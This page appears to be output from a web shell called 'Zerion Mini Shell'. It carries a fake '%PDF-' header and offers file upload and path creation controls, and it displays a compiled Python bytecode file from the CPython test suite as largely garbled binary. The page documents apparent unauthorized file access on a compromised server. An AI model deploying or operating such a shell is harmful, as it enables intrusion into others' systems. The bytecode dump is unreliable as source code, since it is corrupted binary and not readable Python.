%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.12/test/typinganndata/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.12/test/typinganndata/__pycache__/ann_module.cpython-312.pyc

�

���f`��\�UdZddlmZddlmZded<Gd�d�ZddlmZd	Ze	ed
<eZ
eed<ee	e	fed<Gd
�de�Z
dZeGd�de�ZddlmZedef�Zed�ZGd�d�ZGd�de�ZGd�de�ZGd�de��Zd"d
e	fd�Zd�Ze	ezed <y!)#zw
The module for testing variable annotations.
Empty lines above are for good reason (testing for correct line numbers)
�)�Optional��wraps��c�&�eZdZUdZdZeded<y)�C�N�y)�__name__�
__module__�__qualname__�xrr�__annotations__���4/usr/lib/python3.12/test/typinganndata/ann_module.pyr	r	
s��	�A�d�1�h�s�m�"rr	)�Tupler
rr�fc�&�eZdZUded<eZeed<y)�M�{�123�oN)rr
rr�objectr�typerrrrrs�� �O�E���A�t�rrTc�*�eZdZUdZeed<dZeed<y)�D�hi�j�bye�kN)rr
rr �strrr"rrrrrs��
�A�s�M�5�1�c�=rr)�	new_class�H�Jc�"�eZdZUdZeed<d�Zy)�Fr
�zc��y�Nr)�selfrs  r�__init__z
F.__init__$s��rN)rr
rr)�intrr-rrrr(r("s��
�A�s�J�
rr(c���eZdZ�fd�Z�xZS)�Yc�,��tt|�d�y)Nr)�superr(r-)r,�	__class__s �rr-z
Y.__init__(s���
�a����$r)rr
rr-�
__classcell__�r3s@rr0r0's
���%�%rr0c���eZdZ�fd�Z�xZS)�Metac�(��t�|�||||�Sr+)r2�__new__)�meta�name�bases�	namespacer3s    �rr9zMeta.__new__,s����w��t�T�5�)�<�<r)rr
rr9r4r5s@rr7r7+s
���=�=rr7c�*�eZdZUdZeed<dZeed<y)�S�	somethingrzsomething elserN)rr
rrr#rrrrrr?r?/s��
�A�s��
�A�s�rr?)�	metaclassc�4�dttfd�}|�y)Nrc��d}y)N�yesr)rrs  r�barzfoo.<locals>.bar4s���r)�Listr#)rrEs  r�foorG3s���t�C�y���Erc�.��t���fd��}|S)Nc����|i|��Sr+r)�args�kwargs�funcs  �r�wrapperzdec.<locals>.wrapper9s����T�$�V�$�$rr)rLrMs` r�decrN8s���
�4�[�%��%��Nr�uN)�
)�__doc__�typingr�	functoolsrrr	rrr.rr#rr�pars�boolr�typesr$�h_class�j_classr(r0r7r?rGrN�floatrrr�<module>rZs����
������#�#��	
��3�
�Q�A�s�J�5��c��?�*����
���!��!��
�C�!��
��
�C�.��
�
�
%��%�=�4�=��D��
�3�
�
���;�r

Zerion Mini Shell 1.0